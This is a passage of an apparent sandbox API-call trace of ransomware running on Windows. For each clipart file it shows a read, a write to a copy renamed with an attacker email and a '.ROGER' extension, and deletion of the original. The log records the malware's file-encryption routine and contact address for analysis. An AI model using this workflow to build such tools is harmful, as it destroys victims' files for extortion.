lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.427] lstrlenW (lpString=".pdf") returned 4 [0057.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.427] lstrlenW (lpString=".xls") returned 4 [0057.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.427] lstrlenW (lpString=".xlsx") returned 5 [0057.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.427] lstrlenW (lpString=".ppt") returned 4 [0057.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.427] lstrlenW (lpString=".zip") returned 4 [0057.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.427] lstrlenW (lpString=".rar") returned 4 [0057.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.427] lstrlenW (lpString=".bz2") returned 4 [0057.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.428] lstrlenW (lpString=".7z") returned 3 [0057.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.428] lstrlenW (lpString=".dbf") returned 4 [0057.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.428] lstrlenW (lpString=".1cd") returned 4 [0057.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.428] lstrlenW (lpString=".jpg") returned 4 [0057.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.428] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.428] lstrlenW (lpString="AN00965_.WMF") returned 12 [0057.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.428] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=7072) returned 1 [0057.428] CloseHandle (hObject=0x3d8) returned 1 [0057.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0057.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.429] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.429] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0057.429] GetLastError () returned 0x0 [0057.429] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0057.434] WriteFile (in: hFile=0x414, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0057.435] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.435] WriteFile (in: hFile=0x414, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.435] SetEndOfFile (hFile=0x414) returned 1 [0057.436] CloseHandle (hObject=0x414) returned 1 [0057.436] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.436] SetEndOfFile (hFile=0x3d8) returned 1 [0057.437] CloseHandle (hObject=0x3d8) returned 1 [0057.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0057.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.437] lstrlenW (lpString=".doc") returned 4 [0057.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.437] lstrlenW (lpString=".docx") returned 5 [0057.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.437] lstrlenW (lpString=".pdf") returned 4 [0057.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.437] lstrlenW (lpString=".xls") returned 4 [0057.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.437] lstrlenW (lpString=".xlsx") returned 5 [0057.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.437] lstrlenW (lpString=".ppt") returned 4 [0057.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.437] lstrlenW (lpString=".zip") returned 4 [0057.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.437] lstrlenW (lpString=".rar") returned 4 [0057.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.438] lstrlenW (lpString=".bz2") returned 4 [0057.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.438] lstrlenW (lpString=".7z") returned 3 [0057.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.438] lstrlenW (lpString=".dbf") returned 4 [0057.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.438] lstrlenW (lpString=".1cd") returned 4 [0057.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.438] lstrlenW (lpString=".jpg") returned 4 [0057.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.438] lstrlenW (lpString=".doc") returned 4 [0057.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.438] lstrlenW (lpString=".docx") returned 5 [0057.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.438] lstrlenW (lpString=".pdf") returned 4 [0057.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.438] lstrlenW (lpString=".xls") returned 4 [0057.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.438] lstrlenW (lpString=".xlsx") returned 5 [0057.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.438] lstrlenW (lpString=".ppt") returned 4 [0057.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.438] lstrlenW (lpString=".zip") returned 4 [0057.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.438] lstrlenW (lpString=".rar") returned 4 [0057.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.439] lstrlenW (lpString=".bz2") returned 4 [0057.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.439] lstrlenW (lpString=".7z") returned 3 [0057.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.439] lstrlenW (lpString=".dbf") returned 4 [0057.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.439] lstrlenW (lpString=".1cd") returned 4 [0057.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0057.439] lstrlenW (lpString=".jpg") returned 4 [0057.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.439] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.439] lstrlenW (lpString="AN01039_.WMF") returned 12 [0057.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.439] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3344) returned 1 [0057.439] CloseHandle (hObject=0x3d8) returned 1 [0057.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0057.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.440] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.440] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0057.440] GetLastError () returned 0x0 [0057.440] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xd10, lpOverlapped=0x0) returned 1 [0057.528] WriteFile (in: hFile=0x414, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0057.528] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.528] WriteFile (in: hFile=0x414, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.529] SetEndOfFile (hFile=0x414) returned 1 [0057.849] CloseHandle (hObject=0x414) returned 1 [0057.849] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.849] SetEndOfFile (hFile=0x3d8) returned 1 [0057.850] CloseHandle (hObject=0x3d8) returned 1 [0057.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0058.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.124] lstrlenW (lpString=".doc") returned 4 [0058.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.124] lstrlenW (lpString=".docx") returned 5 [0058.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.124] lstrlenW (lpString=".pdf") returned 4 [0058.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.124] lstrlenW (lpString=".xls") returned 4 [0058.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.124] lstrlenW (lpString=".xlsx") returned 5 [0058.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.124] lstrlenW (lpString=".ppt") returned 4 [0058.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.124] lstrlenW (lpString=".zip") returned 4 [0058.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.124] lstrlenW (lpString=".rar") returned 4 [0058.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.124] lstrlenW (lpString=".bz2") returned 4 [0058.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.124] lstrlenW (lpString=".7z") returned 3 [0058.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.124] lstrlenW (lpString=".dbf") returned 4 [0058.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.124] lstrlenW (lpString=".1cd") returned 4 [0058.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.125] lstrlenW (lpString=".jpg") returned 4 [0058.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.125] lstrlenW (lpString=".doc") returned 4 [0058.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString=".docx") returned 5 [0058.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.125] lstrlenW (lpString=".pdf") returned 4 [0058.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString=".xls") returned 4 [0058.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.125] lstrlenW (lpString=".xlsx") returned 5 [0058.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.125] lstrlenW (lpString=".ppt") returned 4 [0058.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.125] lstrlenW (lpString=".zip") returned 4 [0058.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.125] lstrlenW (lpString=".rar") returned 4 [0058.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString=".bz2") returned 4 [0058.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString=".7z") returned 3 [0058.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.125] lstrlenW (lpString=".dbf") returned 4 [0058.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.125] lstrlenW (lpString=".1cd") returned 4 [0058.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0058.125] lstrlenW (lpString=".jpg") returned 4 [0058.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.126] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.126] lstrlenW (lpString="AN01173_.WMF") returned 12 [0058.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0058.582] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=26332) returned 1 [0058.582] CloseHandle (hObject=0x3e0) returned 1 [0058.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0058.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0058.583] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.583] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0058.583] GetLastError () returned 0x0 [0058.583] ReadFile (in: hFile=0x3e0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0058.677] WriteFile (in: hFile=0x39c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0058.678] ReadFile (in: hFile=0x3e0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.679] WriteFile (in: hFile=0x39c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.679] SetEndOfFile (hFile=0x39c) returned 1 [0059.774] CloseHandle (hObject=0x39c) returned 1 [0059.774] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.774] SetEndOfFile (hFile=0x3e0) returned 1 [0059.775] CloseHandle (hObject=0x3e0) returned 1 [0059.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0059.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.775] lstrlenW (lpString=".doc") returned 4 [0059.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.775] lstrlenW (lpString=".docx") returned 5 [0059.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.775] lstrlenW (lpString=".pdf") returned 4 [0059.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.775] lstrlenW (lpString=".xls") returned 4 [0059.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.776] lstrlenW (lpString=".xlsx") returned 5 [0059.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.776] lstrlenW (lpString=".ppt") returned 4 [0059.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.776] lstrlenW (lpString=".zip") returned 4 [0059.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.776] lstrlenW (lpString=".rar") returned 4 [0059.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString=".bz2") returned 4 [0059.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString=".7z") returned 3 [0059.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.776] lstrlenW (lpString=".dbf") returned 4 [0059.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.776] lstrlenW (lpString=".1cd") returned 4 [0059.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.776] lstrlenW (lpString=".jpg") returned 4 [0059.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.776] lstrlenW (lpString=".doc") returned 4 [0059.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString=".docx") returned 5 [0059.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.776] lstrlenW (lpString=".pdf") returned 4 [0059.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString=".xls") returned 4 [0059.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.776] lstrlenW (lpString=".xlsx") returned 5 [0059.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.777] lstrlenW (lpString=".ppt") returned 4 [0059.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0059.777] lstrlenW (lpString=".zip") returned 4 [0059.777] lstrcmpiW 